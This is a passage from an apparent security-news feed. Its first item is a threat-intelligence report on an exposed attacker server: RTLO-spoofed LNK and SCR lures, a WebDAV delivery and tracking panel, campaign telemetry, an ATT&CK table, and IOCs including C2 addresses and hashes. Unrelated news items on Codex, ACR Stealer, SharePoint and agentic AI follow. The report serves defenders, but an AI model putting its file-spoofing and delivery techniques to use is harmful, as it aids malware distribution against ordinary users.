В ŃŃ‚ĐŸĐč папĐșĐ” ĐœĐ°Ń…ĐŸĐŽĐžŃ‚ŃŃ ĐżĐŸĐ»ĐœĐ°Ń Ń‚Đ”ŃŃ‚ĐŸĐČая ĐŒĐ°Ń‚Ń€ĐžŃ†Đ° Оз **60 LNK-ŃŃ€Đ»Ń‹ĐșĐŸĐČ**, ĐŸĐ±ŃŠĐ”ĐŽĐžĐœŃŃŽŃ‰ĐžŃ… ĐČсД ĐŽĐŸŃŃ‚ŃƒĐżĐœŃ‹Đ” WebDAV-ĐŒĐ”Ń‚ĐŸĐŽŃ‹ ĐŸŃ‚Đșрытоя ŃĐŸ ĐČŃĐ”ĐŒĐž Ń‚Đ”Ń…ĐœĐžĐșĐ°ĐŒĐž ĐŸĐ±ĐŒĐ°ĐœĐ° LNK, ĐżĐŸĐŽĐŽĐ”Ń€Đ¶ĐžĐČĐ°Đ”ĐŒŃ‹ĐŒĐž ĐżŃ€ĐŸĐ”ĐșŃ‚ĐŸĐŒ Web-renamer.

---

## Naming Scheme / ĐĄŃ…Đ”ĐŒĐ° ĐžĐŒĐ”ĐœĐŸĐČĐ°ĐœĐžŃ

All files follow the pattern:  
ВсД фаĐčлы ŃĐ»Đ”ĐŽŃƒŃŽŃ‚ ŃˆĐ°Đ±Đ»ĐŸĐœŃƒ:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / Đ±Đ°Đ·ĐŸĐČĐŸĐ” ĐžĐŒŃ фаĐčла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / ĐŒĐ”Ń‚ĐŸĐŽ ĐŸŃ‚Đșрытоя WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / Ń‚Đ”Ń…ĐœĐžĐșĐ° ĐŸĐ±ĐŒĐ°ĐœĐ° LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`â€źÆ’ïœ„áŽ˜`) — visually appears as `.pdf` / спуф Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžŃ чДрДз RTLO + ĐłĐŸĐŒĐŸĐłĐ»ĐžŃ„Ń‹ — ĐČĐžĐ·ŃƒĐ°Đ»ŃŒĐœĐŸ ĐČŃ‹ĐłĐ»ŃĐŽĐžŃ‚ ĐșĐ°Đș `.pdf`
- **`.lnk`** — real extension / Ń€Đ”Đ°Đ»ŃŒĐœĐŸĐ” Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžĐ”

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф ĐżŃ€ĐžĐŒĐ”ĐœŃĐ”Ń‚ŃŃ **Ń‚ĐŸĐ»ŃŒĐșĐŸ Đș Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžŃŽ** ĐČ ĐșĐŸĐœŃ†Đ” ĐžĐŒĐ”ĐœĐž, ĐżĐŸŃŃ‚ĐŸĐŒŃƒ ĐœĐ°Đ·ĐČĐ°ĐœĐžŃ ĐŒĐ”Ń‚ĐŸĐŽĐŸĐČ Đž Ń‚Đ”Ń…ĐœĐžĐș ĐŸŃŃ‚Đ°ŃŽŃ‚ŃŃ Ń‡ĐžŃ‚Đ°Đ”ĐŒŃ‹ĐŒĐž.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

simba-service-presentation.png
Figure 12: Simba service presentation.

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

simba-service-page-with-blocking-capabilities_.png
Figure 13: Simba service page with blocking capabilities.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country

Requests

Share of requests

Unique client IPs

Launch events

Mexico

63,622

82.5%

2,698

2,365

United States

4,032

5.2%

463

47

Germany

2,751

3.6%

59

1

United Kingdom

645

0.8%

40

0

Netherlands

532

0.7%

49

1

France

407

0.5%

21

0

Finland

401

0.5%

6

10

Brazil

343

0.4%

41

0

Republic of Korea

312

0.4%

16

1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method

Count

PROPFIND

57,287

GET

13,088

OPTIONS

6,597

PROPPATCH

125

LOCK

1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status

Count

207

57,412

200

19,532

206

154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name

MITRE ATT&CK technique

Code

Payload execution

User Execution: Malicious File

T1204.002

Masquerading

Right-to-Left Override

T1036.002

Masquerading

Double File Extension

T1036.007

DLL sideloading

Hijack Execution Flow: DLL

T1574.001

Obfuscation

Encrypted/Encoded File

T1027.013

Payload unpacking

Deobfuscate/Decode Files or Information

T1140

Payload carrier

Steganography / image-carried payload data

T1027.003

API hiding

Dynamic API Resolution

T1027.007

In-memory loading

Reflective Code Loading

T1620

Injection

Process Hollowing

T1055.012

Native API use

Native API

T1106

Sandbox evasion

Time Based Evasion

T1497.003

Anti-analysis

Debugger / instrumentation checks

T1622

UAC bypass

Bypass User Account Control

T1548.002

Persistence

Registry Run Keys / Startup Folder

T1547.001

Persistence

Scheduled Task

T1053.005

Collection

Keylogging

T1056.001

Collection

Screen Capture

T1113

Collection

Clipboard Data

T1115

Credential access

Credentials from Web Browsers

T1555.003

Credential access

Steal Web Session Cookie

T1539

Collection

Data from Local System

T1005

Collection

Automated Collection

T1119

Staging

Archive Collected Data: Archive via Utility

T1560.001

C2

Encrypted Channel

T1573

Exfiltration

Exfiltration Over C2 Channel

T1041

Possible persistence

WMI Event Subscription

T1546.003

Phishing lure generation

Generate Phishing Lures

AML.T0052

Resource Development

Resource Development

AML.TA0003

Obtain capabilities via LLM tooling

Obtain Capabilities

AML.T0016

LLM-assisted capability development

Develop Capabilities

AML.T0017

LLM prompt crafting for attack documentation

LLM Prompt Crafting

AML.T0065

Obtain capabilities via tooling

Obtain Capabilities: Software Tools

AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

]]> <![CDATA[OpenAI’s Codex context reduction for GPT 5.6 sparks dissatisfaction among developers]]> https://tsecurity.de/de/3681246/ai-nachrichten/openais-codex-context-reduction-for-gpt-56-sparks-dissatisfaction-among-developers/ https://tsecurity.de/de/3681246/ai-nachrichten/openais-codex-context-reduction-for-gpt-56-sparks-dissatisfaction-among-developers/ Mon, 20 Jul 2026 15:19:06 +0200 🔧 AI Nachrichten tsecurity.de

OpenAI’s recent update to its Codex coding agent has developers worrying over the impact of the change on large code repositories and long-running AI-assisted sessions.

The update to the Codex CLI reduces the default configured input context window for GPT-5.6 to 272,000 tokens from 372,000 tokens.

In practice, the update means the coding agent will retain a smaller amount of code, conversation history, and other session information before compacting older context to make room for new information, a change that has prompted criticism from some developers on Reddit and X over the reduced token window.

While OpenAI has not publicly explained the rationale behind the update, several developers took to social media to question why OpenAI reduced the default context configuration, with some arguing that the change could make Codex less effective on long-running coding sessions by triggering context compaction sooner.

Others expressed concern that the smaller window could require more frequent context management or session resets, although some noted that the practical impact would depend on project size and how developers structure their workflows.

Smaller context, bigger workflow implications

The context window reduction could affect developer productivity and the adoption of autonomous agents in enterprise workflows, analysts say.

“While the context reduction in Codex is unlikely to affect routine coding tasks such as bug fixes or changes involving a few files, it could impact large codebases, repository-wide refactoring, and long-running sessions,” said Pareekh Jain, principal analyst at Pareekh Consulting.

“Less memory per session means the AI agent forgets earlier parts of a long coding session sooner. The agent may need to summarize or reload context more often, increasing repeated searches, occasional loss of earlier decisions and the need for developers to re-establish context,” Jain added.

That need for manual context management, according to Muskan Bandta, cloud associate at FinOps services providing firm ZopDev, goes completely against the “whole appeal” of Codex-like tools that promised improved productivity out-of-the-box: “A lot of developers are saying their sessions now spend more time on compacting than actually working.”

“While context reduction may not further inflate bills, it shows up as more retries, more compaction, and your engineers spending more time babysitting the thing. The spend just moves from the invoice onto your team’s time.”

Amit Jena, AI development manager at IT consulting firm Kanerika, said that the context reduction will force development teams to choose between two options: either accept that the agent is reasoning with an incomplete picture of the required context or learn to manage a new design constraint around context compaction.

Development teams, Jena said, will need to design workflows that proactively manage context: by breaking work into smaller tasks, relying more on retrieval mechanisms, and monitoring context consumption.

That forced design constraint on engineering, echoed Bandta, will slow the enterprise adoption of agent-driven workflows: “Context is the agent’s working memory, so cutting it by a third changes what you can trust it to do at all.”

Build for changing AI platforms, not fixed limits?

More broadly, analysts pointed out that the episode is a reminder that enterprises should avoid tightly coupling software development workflows to the current operational characteristics of managed AI coding platforms, as context limits, pricing, runtime behavior, and model availability are all likely to evolve with little or no advance notice.

“Enterprises should avoid depending on any single context window, continuously benchmark AI coding tools on real workloads, and build workflows around retrieval, modular design, and agent orchestration so they remain resilient as models evolve,” Jain said.

Kanerika’s Jena echoed that view: “The right approach is to build AI-assisted development pipelines that degrade gracefully when operational parameters shift: instrument your context consumption, don’t hard-code context budgets, and treat the vendor’s current specifications as a starting point, not a contract.” Similarly, Bandta advised enterprises to treat managed AI coding platforms like any other critical software dependency: “Don’t build anything that only works right at the edge of a limit, and keep enough flexibility that you’re not stuck if one vendor changes the deal.”

]]> <![CDATA[Falcon Cloud Security: Deploy Kubernetes Protection in Minutes]]> https://tsecurity.de/de/3681245/it-security-video/falcon-cloud-security-deploy-kubernetes-protection-in-minutes/ https://tsecurity.de/de/3681245/it-security-video/falcon-cloud-security-deploy-kubernetes-protection-in-minutes/ Mon, 20 Jul 2026 15:18:49 +0200 đŸŽ„ IT Security Video tsecurity.de Author: CrowdStrike - Bewertung: 1x - Views:9

Deploy CrowdStrike Falcon Cloud Security in your Kubernetes environment in minutes to enable runtime protection and gain real-time visibility into vulnerabilities, misconfigurations, and active threats - all from a single platform.

đŸ›Ąïž Falcon Cloud Security
Start your free trial today: https://cs.link/uryKy

📣 Connect With Us:
â–ș LinkedIn:
https://www.linkedin.com/company/crowdstrike
â–ș X:
https://twitter.com/CrowdStrike
â–ș Facebook:
https://www.facebook.com/crowdstrike
â–ș Instagram:
https://www.instagram.com/crowdstrike

🔔 Subscribe and stay updated!

#CrowdStrike #Cybersecurity #CloudSecurity

]]> <![CDATA[Agentic AI Security Checklist: 15 Controls for CISOs]]> https://tsecurity.de/de/3681200/it-security-nachrichten/agentic-ai-security-checklist-15-controls-for-cisos/ https://tsecurity.de/de/3681200/it-security-nachrichten/agentic-ai-security-checklist-15-controls-for-cisos/ Mon, 20 Jul 2026 15:08:47 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[New ACR Stealer campaigns use WebDAV, MSHTA to evade detection]]> https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/ https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/ Mon, 20 Jul 2026 14:38:47 +0200 📰 IT Security Nachrichten tsecurity.de

Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.

In a new report, Microsoft researchers detailed two separate campaigns observed between late April and mid-June 2026 that use different execution techniques for the same theft.

The campaign was seen tricking users into executing malicious commands to resolve a fake issue. Once the malware is executed, it extracts browser-stored credentials, session tokens, and documents, which can potentially allow attackers to access cloud services, impersonate users, and conduct follow-on intrusions across enterprise environments.

Nick Tausek, lead security automation architect at Swimlane, thinks attackers could be using two distinct chains to trick defense tuned on individual indicators.  “By changing the delivery and execution patterns, attackers can evade defenses tuned to one known chain and make related incidents appear disconnected,“ he said. “Security teams may split the activity across separate investigations, delaying recognition of the shared malware and objective.”

ACR Stealer is an information-stealing malware family Microsoft believes is offered through a malware-as-a-service (MaaS) model, with possible links to the Amatera Stealer.

WebDAV and MSHTA-based chains

Although both campaigns begin with ClickFix lures, Microsoft’s analysis shows they diverge after initial execution. One attack chain uses WebDAV-hosted DLLs, PowerShell, Python loaders, scheduled-task persistence, and even blockchain-based infrastructure called the “EtherHiding” technique, to complicate detection and command and control (C2) discovery.

The second chain uses MSHTA, heavily obfuscated PowerShell, stenography, and predominantly fileless, in-memory execution to minimize forensic trails.

“The most troubling part of ACR Stealer is the flexibility surrounding the theft. One chain invests in persistence and layered infrastructure, while the other favors memory execution and fewer forensic traces,” Tausek said. “Those approaches look different to defenders, yet both turn a simple ClickFix lure into stolen credentials, tokens, and business documents.”

Microsoft researchers said protections against these campaigns have now been added to Defender. “Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft,” they said.

Mitigations include ClickFix-targeted detections

The report highlighted that neither of the campaigns exploits any software vulnerability, depending solely on ClickFix-based social engineering.

Microsoft warned its Defender customers that ClickFix attacks are on the rise and shared XDR queries to identify suspicious commands executed through ClickFix-based activity observed while delivering the ACR Stealer.

Microsoft also recommended, as general defense, monitoring for suspicious PowerShell activity, MSHTA execution, WebDAV connections, and attempts to access browser credential stores, while also enabling Microsoft Defender SmartScreen and Attack Surface Reduction (ASR) rules to block common malware delivery techniques.

“The campaigns do not need to directly aid one another to be effective. Together, they create ambiguity and stretch limited SOC resources,” Tausek explained. Security teams need enough visibility to correlate endpoint, identity, and network activity as one evolving intrusion, he added.

Microsoft also shared a list of C2 addresses and payload hosting domains for defenders to add to their detection.

]]> <![CDATA[One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor]]> https://tsecurity.de/de/3681025/it-security-nachrichten/one-malicious-web-request-can-turn-an-exposed-sharepoint-server-into-a-persistent-backdoor/ https://tsecurity.de/de/3681025/it-security-nachrichten/one-malicious-web-request-can-turn-an-exposed-sharepoint-server-into-a-persistent-backdoor/ Mon, 20 Jul 2026 13:39:22 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed cluster of Microsoft SharePoint Server vulnerabilities is actively being exploited in the wild, allowing attackers to convert a single crafted web request into full remote code execution and long-term persistence across enterprise environments. Security updates released in


Read more →

The post One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor appeared first on IT Security News.

]]> <![CDATA[The Tokens You Can’t Wait For]]> https://tsecurity.de/de/3680935/ai-nachrichten/the-tokens-you-cant-wait-for/ https://tsecurity.de/de/3680935/ai-nachrichten/the-tokens-you-cant-wait-for/ Mon, 20 Jul 2026 13:04:03 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor]]> https://tsecurity.de/de/3680902/it-security-nachrichten/one-malicious-web-request-can-turn-an-exposed-sharepoint-server-into-a-persistent-backdoor/ https://tsecurity.de/de/3680902/it-security-nachrichten/one-malicious-web-request-can-turn-an-exposed-sharepoint-server-into-a-persistent-backdoor/ Mon, 20 Jul 2026 12:54:18 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed cluster of Microsoft SharePoint Server vulnerabilities is actively being exploited in the wild, allowing attackers to convert a single crafted web request into full remote code execution and long-term persistence across enterprise environments. Security updates released in July 2026, alongside a CISA advisory, confirm that multiple vulnerabilities are already being weaponized against [
]

The post One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[Major glitch in Matrix as UK government projects watchdog rates shared services cluster red]]> https://tsecurity.de/de/3680793/it-nachrichten/major-glitch-in-matrix-as-uk-government-projects-watchdog-rates-shared-services-cluster-red/ https://tsecurity.de/de/3680793/it-nachrichten/major-glitch-in-matrix-as-uk-government-projects-watchdog-rates-shared-services-cluster-red/ Mon, 20 Jul 2026 12:03:47 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]> https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/ https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/ Mon, 20 Jul 2026 12:03:46 +0200 📰 IT Nachrichten tsecurity.de

Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.

As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.

The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.

From AI-ready networks to autonomous networks

The long-term destination is the autonomous network: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.

In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.

The core characteristics of the network of the future

One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.

Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.

Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.

Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.

Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.

Human expertise remains essential

Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.

As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.

Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.

5 actions enterprises should take now

Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:

  1. Modernize network observability. Establish comprehensive visibility across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.
  2. Build an automation-first operating model. Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.
  3. Adopt zero-trust principles across the enterprise. Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, security architectures must evolve to leverage the same identity controls.
  4. Design for edge-to-cloud AI workloads. Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.
  5. Invest in skills and strategic partnerships. Develop internal expertise while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.

The road ahead

Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[The 6 kinds of AI agent architectures]]> https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/ https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/ Mon, 20 Jul 2026 11:09:07 +0200 📰 IT Security Nachrichten tsecurity.de

Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.

I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.

1. The conversational assistant

The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. Deloitte found that 38% of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.

A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.

A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.

2. The triggered workflow

Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.

A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.

Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.

3. The autonomous agent — with sub-agents

Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.

